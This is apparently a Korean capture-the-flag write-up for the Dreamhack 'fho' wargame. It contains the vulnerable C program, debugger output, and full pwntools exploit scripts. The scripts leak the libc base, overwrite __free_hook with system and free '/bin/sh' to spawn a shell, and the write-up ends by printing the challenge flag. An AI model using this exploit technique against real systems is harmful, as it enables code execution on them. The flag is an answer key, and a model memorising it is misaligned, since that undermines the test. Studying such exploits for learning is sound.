// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
Hook Overwrite를 하는 문제인 거 같습니다.
⚡ kali ~/wargame/dreamhack/fho checksec fho
[*] '/root/wargame/dreamhack/fho/fho'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
모든 보호 기법이 다 적용되어 있습니다.
스택의 어떤 값을 읽을 수 있다. ⇾ read(0, buf, 0x100); printf("Buf: %s\n", buf);
임의 주소에 임의 값을 쓸 수 있다. ⇾ scanf("%llu", &addr); scanf("%llu", &value);
임의 주소를 해제할 수 있다. ⇾ scanf("%llu", &addr); free(addr);
위에 세가지 수단을 이용해서 쉘을 딸 수 있습니다.
먼저 libc base를 leak 하기 위해서 __libc_start_main을 살펴보면
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf20 --> 0x0
0008| 0x7fffffffdf28 --> 0x7ffff7dfd7fd (<__libc_start_main+205>: mov edi,eax)
0016| 0x7fffffffdf30 --> 0x7fffffffe018 --> 0x7fffffffe377 ("/root/wargame/dreamhack/fho/fho")
0024| 0x7fffffffdf38 --> 0x1f7fca000
0032| 0x7fffffffdf40 --> 0x5555554008ba (<main>: push rbp)
0040| 0x7fffffffdf48 --> 0x7fffffffe359 --> 0x5e392d701f7be806
0048| 0x7fffffffdf50 --> 0x555555400a40 (<__libc_csu_init>: push r15)
0056| 0x7fffffffdf58 --> 0xd8e153ceeeb03d43
<__libc_start_main+205> 입니다.
어셈블리어를 봐보면
0x000000000000092a <+112>: lea rax,[rbp-0x40] // rax = buf
0x000000000000092e <+116>: mov edx,0x100 // edx = 0x100
0x0000000000000933 <+121>: mov rsi,rax // rsi = buf
0x0000000000000936 <+124>: mov edi,0x0 // edi = 0
0x000000000000093b <+129>: call 0x770 <read@plt> // read(0, buf, 0x100)
buf부터 ret 전까지 0x48 만큼 떨어져 있습니다.
// local.py
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level = 'debug'
# [1] Leak libc base
buf = b'A'*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 205)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)
# [2] Overwrite free_hook with system
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))
# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))
p.interactive()
먼저 local 환경에서 실행되도록 코드를 짜서 돌려보면
⚡ root ~/wargame/dreamhack/fho python3 local.py 2> /dev/null
[+] Starting local process './fho': pid 4322
[*] '/root/wargame/dreamhack/fho/fho'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc_base: 0x7fcf90d55000
[+] system: 0x7fcf90d9e860
[+] free_hook: 0x7fcf90f26e20
[+] /bin/sh: 0x7fcf90eed882
[*] Switching to interactive mode
$ ls
fho fho.c libc-2.27.so local.py peda-session-fho.txt remote.py
공격이 성공해서 쉘이 떴습니다.
이제 원격 환경에서 공격을 시도해보면
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = remote("host1.dreamhack.games", 16508)
e = ELF("./fho")
libc = ELF("./libc-2.27.so")
#context.log_level = 'debug'
# [1] Leak libc base
buf = b'A'*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
sleep(0.5)
libc_start_main_xx = u64(p.recvline()[:-1]+b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 205)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
slog("libc_start_main_xx", libc_start_main_xx)
slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)
# [2] Overwrite free_hook with system
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))
# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))
p.interactive()
GOT EOF while reading in interactive 오류가 발생하면서 실패했습니다.
⚡ kali ~/wargame/dreamhack/fho python3 remote.py 2> /dev/null
[+] Opening connection to host1.dreamhack.games on port 16508: Done
[*] '/root/wargame/dreamhack/fho/fho'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/root/wargame/dreamhack/fho/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc_start_main_xx: 0x7f993666bbf7
[+] libc_base: 0x7f993664a01a
[+] system: 0x7f993669956a
[+] free_hook: 0x7f9936a37902
[+] /bin/sh: 0x7f99367fde34
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
// remote.py
[DEBUG] Received 0x1f bytes:
b'[1] Stack buffer overflow\n'
b'Buf: '
[DEBUG] Sent 0x48 bytes:
65 * 0x48
[DEBUG] Received 0x54 bytes:
00000000 42 75 66 3a 20 41 41 41 41 41 41 41 41 41 41 41 │Buf:│ AAA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000040 41 41 41 41 41 41 41 41 41 41 41 41 41 f7 2b 1c │AAAA│AAAA│AAAA│A·+·│
00000050 73 ce 7f 0a │s···│
00000054
[+] libc_start_main_xx: 0x7fce731c2bf7
[+] libc_base: 0x7fce731a101a
[+] system: 0x7fce731f056a
[+] free_hook: 0x7fce7358e902
[+] /bin/sh: 0x7fce73354e34
[DEBUG] Received 0x25 bytes:
b'[2] Arbitary-Address-Write\n'
b'To write: '
[DEBUG] Sent 0x10 bytes:
b'140524675197186\n'
[DEBUG] Received 0x6 bytes:
b'With: '
[DEBUG] Sent 0x10 bytes:
b'140524671403370\n'
[DEBUG] Received 0x23 bytes:
b'[0x7fce7358e902] = 140524671403370\n'
[DEBUG] Received 0x24 bytes:
b'[3] Arbitrary-Address-Free\n'
b'To free: '
[DEBUG] Sent 0x10 bytes:
b'140524672863796\n'
// local.py
[DEBUG] Received 0x1f bytes:
b'[1] Stack buffer overflow\n'
b'Buf: '
[DEBUG] Sent 0x48 bytes:
65 * 0x48
[DEBUG] Received 0x79 bytes:
00000000 42 75 66 3a 20 41 41 41 41 41 41 41 41 41 41 41 │Buf:│ AAA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000040 41 41 41 41 41 41 41 41 41 41 41 41 41 fd 47 88 │AAAA│AAAA│AAAA│A·G·│
00000050 a4 d7 7f 0a 5b 32 5d 20 41 72 62 69 74 61 72 79 │····│[2] │Arbi│tary│
00000060 2d 41 64 64 72 65 73 73 2d 57 72 69 74 65 0a 54 │-Add│ress│-Wri│te·T│
00000070 6f 20 77 72 69 74 65 3a 20 │o wr│ite:│ │
00000079
[+] libc_base: 0x7fd7a485d000
[+] system: 0x7fd7a48a6860
[+] free_hook: 0x7fd7a4a2ee20
[+] /bin/sh: 0x7fd7a49f5882
[DEBUG] Sent 0x10 bytes:
b'140564156837408\n'
[DEBUG] Received 0x6 bytes:
b'With: '
[DEBUG] Sent 0x10 bytes:
b'140564155230304\n'
[DEBUG] Received 0x47 bytes:
b'[0x7fd7a4a2ee20] = 140564155230304\n'
b'[3] Arbitrary-Address-Free\n'
b'To free: '
[DEBUG] Sent 0x10 bytes:
b'140564156602498\n'
공격에 성공한 local과 비교했을 때 데이터 입출력에 그렇게 큰 이상이 보이지는 않습니다.
음 뭐가 문제일까요?
이것저것 바꿔보다 갑자기 라이브러리 버전이 다르다는 것과 예시에서는 libc_base를 구할 때 +205가 아니라 +231을 했다는 게 생각이 났습니다.
그래서 한번 +231로 바꿔서 시도를 해보면
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = remote("host1.dreamhack.games", 16508)
e = ELF("./fho")
libc = ELF("./libc-2.27.so")
#context.log_level = 'debug'
# [1] Leak libc base
buf = b'A'*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
sleep(0.5)
libc_start_main_xx = u64(p.recvline()[:-1]+b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
slog("libc_start_main_xx", libc_start_main_xx)
slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)
# [2] Overwrite free_hook with system
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))
# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))
p.interactive()
공격에 성공해서 쉘이 떴습니다.
⚡ kali ~/wargame/dreamhack/fho python3 remote.py 2> /dev/null
[+] Opening connection to host1.dreamhack.games on port 16508: Done
[*] '/root/wargame/dreamhack/fho/fho'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/root/wargame/dreamhack/fho/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc_start_main_xx: 0x7f29cb28cbf7
[+] libc_base: 0x7f29cb26b000
[+] system: 0x7f29cb2ba550
[+] free_hook: 0x7f29cb6588e8
[+] /bin/sh: 0x7f29cb41ee1a
[*] Switching to interactive mode
$
flag 파일을 출력해보면
$ ls
fho
flag
$ cat flag
DH{584ea800b3d6ff90857aa4300ba42218}